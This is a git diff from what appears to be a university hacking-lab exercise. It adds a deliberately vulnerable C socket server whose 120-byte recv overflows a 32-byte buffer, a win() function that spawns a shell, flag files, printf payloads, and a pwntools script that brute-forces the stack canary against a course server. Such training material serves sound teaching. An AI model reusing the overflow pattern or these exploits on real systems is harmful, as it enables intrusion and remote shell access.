M05iZ0{6HD_e^58V#Q*>R literal 0 HcmV?d00001 diff --git a/4/level11/flag.txt b/4/level11/flag.txt new file mode 100644 index 0000000..edd5b55 --- /dev/null +++ b/4/level11/flag.txt @@ -0,0 +1 @@ +hacklab{thanks_mario_but_the_flag_is_on_another_server} diff --git a/4/level11/level11 b/4/level11/level11 new file mode 100755 index 0000000000000000000000000000000000000000..1d19655b13e0782b841cc4a3739b2d2be61ac94b GIT binary patch literal 17680 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 literal 0 HcmV?d00001 diff --git a/4/level11/level11.c b/4/level11/level11.c new file mode 100644 index 0000000..c443ab0 --- /dev/null +++ b/4/level11/level11.c @@ -0,0 +1,116 @@ +// gcc -o level11 -no-pie -fstack-protector-all level11.c +#include +#include +#include +#include +#include +#include +#include +#include + +const uint16_t port = 4011; + +void win(int fd) { + // Connect stdin and stdout to the client socket, + // so they can interact with the shell. + dup2(fd, STDIN_FILENO); + dup2(fd, STDOUT_FILENO); + dup2(fd, STDERR_FILENO); + + char *argv[2]; + argv[0] = "/bin/sh"; + argv[1] = NULL; + execve(argv[0], argv, NULL); +} + +void prompt(int fd) { + char buffer[32]; + send(fd, "What do you want to talk about?\n", 32, 0); + recv(fd, buffer, 120, 0); +} + +void vuln(int fd) { + prompt(fd); + send(fd, "Bye.\n", 5, 0); +} + +// forking socket server with help from +// https://github.com/pwning/docs/blob/master/fork_accept.c +int main(int argc, char **argv) { + // Setting the SIGCHLD handler to SIG_IGN prevents child + // processes from becoming zombies (so you do not need to + // call wait() on them). + if (signal(SIGCHLD, SIG_IGN) == SIG_ERR) { + fputs("Failed to set SIGCHLD handler.", stderr); + return 1; + } + + // Create server socket. + int server_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (server_sock < 0) { + perror("socket"); + return 1; + } + + // Set SO_REUSEADDR. Otherwise, if the server crashes for + // any reason, you will have to wait for sockets to time + // out before you can reuse the port. + int opt = 1; + if (setsockopt(server_sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)) != + 0) { + perror("setsockopt"); + return 1; + } + + struct sockaddr_in listen_addr = {0}; + bzero((char *)&listen_addr, sizeof(listen_addr)); + listen_addr.sin_family = AF_INET; + listen_addr.sin_port = htons(port); + if (inet_pton(AF_INET, "127.0.0.1", &listen_addr.sin_addr) <= 0) { + perror("inet_pton"); + return 1; + } + + if (bind(server_sock, (struct sockaddr *)&listen_addr, sizeof(listen_addr)) != + 0) { + perror("bind"); + return 1; + } + + if (listen(server_sock, 5) != 0) { + perror("listen"); + return 1; + } + + int client_sock; + pid_t child_pid; + while (1) { + client_sock = accept(server_sock, NULL, NULL); + if (client_sock < 0) { + perror("accept"); + continue; + } + + child_pid = fork(); + if (!child_pid) { + // Avoid tons of long-running processes sticking around. + alarm(30); + + // If you do not close the socket fd, someone who + // exploits the service could call accept() on it and + // hijack other people's connections. + close(server_sock); + + // Call the vulnerable code with the client socket. + vuln(client_sock); + close(client_sock); + return 0; + } else { + // If you forget to close the client fd, you could run + // out of file descriptors. + close(client_sock); + } + } + + return 0; +} diff --git a/4/level11/test b/4/level11/test new file mode 100644 index 0000000..9517151 --- /dev/null +++ b/4/level11/test @@ -0,0 +1,7 @@ +last key +32 byte filler +overwrite rbp with sane address (doesnt need to be specific, just dont segfault bc of memory region) +overwrite rip with address of win + +#printf 'hacklab{why_c4n7_y0u_ju57_d0_th3_m4th_eBPiC6YB}\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x90\xde\xff\xff\xff\x7f\x00\00\x96\x11\x40\00\00\00\00\00\ncat flag.txt\n' > input.txt +printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x90\xde\xff\xff\xff\x7f\x00\00\x56\x13\x40\00\00\00\00\00\ncat flag.txt\n' diff --git a/4/level11/test.py b/4/level11/test.py new file mode 100644 index 0000000..818d514 --- /dev/null +++ b/4/level11/test.py @@ -0,0 +1,57 @@ +#!/usr/bin/env python3 +from pwn import * +import sys +import time + +elf = ELF('./level11') + +# Addresses +win_addr = elf.symbols['win'] + +print("win : ", hex(win_addr)) +start = "aaaaaaaabbbbbbbbccccccccdddddddd12345678".encode() +oldflag = "hacklab{f0rm4t_7he_go7_l1ke_4_pr0_U6tZ6PMP}".encode() + +local = False + +def probe_canary(payl): + for i in range(0,255): + p = None + if(local): + p = remote("localhost", 4011) + else: + p = remote("binexp.stud12.hacklab.ias.tu-bs.de", 4011) + p.sendline(oldflag) + time.sleep(0.05) + p.recvuntil("talk about?".encode()) + payload = payl + i.to_bytes(1, 'little') + p.send(payload) + print(payload) + resp = p.recvall(timeout=0.1); + if(resp == b'\nBye.\n'): + print("found byte ", end='') + print(hex(i)) + if(len(payload) >= 56): + return payload + else: + return probe_canary(payload) + +canary = probe_canary(start) +payload = canary + p64(win_addr) + +print(payload) +print(payload[40:47].hex()) +print(payload[48:55].hex()) +print(payload[56:63].hex()) + +p = None +if(local): + p = remote("localhost", 4011) +else: + p = remote("binexp.stud12.hacklab.ias.tu-bs.de", 4011) + p.sendline(oldflag) + +print(p.readline()) +p.sendline(payload) +p.sendline("cat flag.txt; exit".encode()) +print(p.recvall())